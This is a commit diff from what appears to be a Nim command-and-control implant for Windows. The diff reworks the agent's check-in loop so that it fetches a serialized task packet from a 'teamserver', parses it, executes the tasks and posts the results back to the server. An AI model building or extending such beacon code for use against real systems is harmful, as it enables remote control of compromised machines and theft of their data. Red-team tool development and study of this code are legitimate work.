Agent fetches serialized task data from prologue web server and successfully parses it.
This commit is contained in:
@@ -1,7 +1,8 @@
|
||||
import strformat, os, times
|
||||
import winim
|
||||
|
||||
import ./[types, http, taskHandler]
|
||||
import ./[types, http]
|
||||
import task/handler, task/parser
|
||||
|
||||
const ListenerUuid {.strdefine.}: string = ""
|
||||
const Octet1 {.intdefine.}: int = 0
|
||||
@@ -57,16 +58,22 @@ proc main() =
|
||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
echo fmt"[{date}] Checking in."
|
||||
|
||||
# Retrieve task queue from the teamserver for the current agent
|
||||
let tasks: seq[Task] = config.getTasks(agent)
|
||||
# Retrieve task queue for the current agent
|
||||
let packet: string = config.getTasks(agent)
|
||||
|
||||
if tasks.len <= 0:
|
||||
echo "[*] No tasks to execute."
|
||||
continue
|
||||
if packet.len <= 0:
|
||||
echo "No tasks to execute."
|
||||
continue
|
||||
|
||||
let tasks: seq[Task] = deserializePacket(packet)
|
||||
|
||||
if tasks.len <= 0:
|
||||
echo "No tasks to execute."
|
||||
continue
|
||||
|
||||
# Execute all retrieved tasks and return their output to the server
|
||||
for task in tasks:
|
||||
let result: TaskResult = task.handleTask(config)
|
||||
let result: TaskResult = config.handleTask(task)
|
||||
discard config.postResults(agent, result)
|
||||
|
||||
when isMainModule:
|
||||
|
||||
Reference in New Issue
Block a user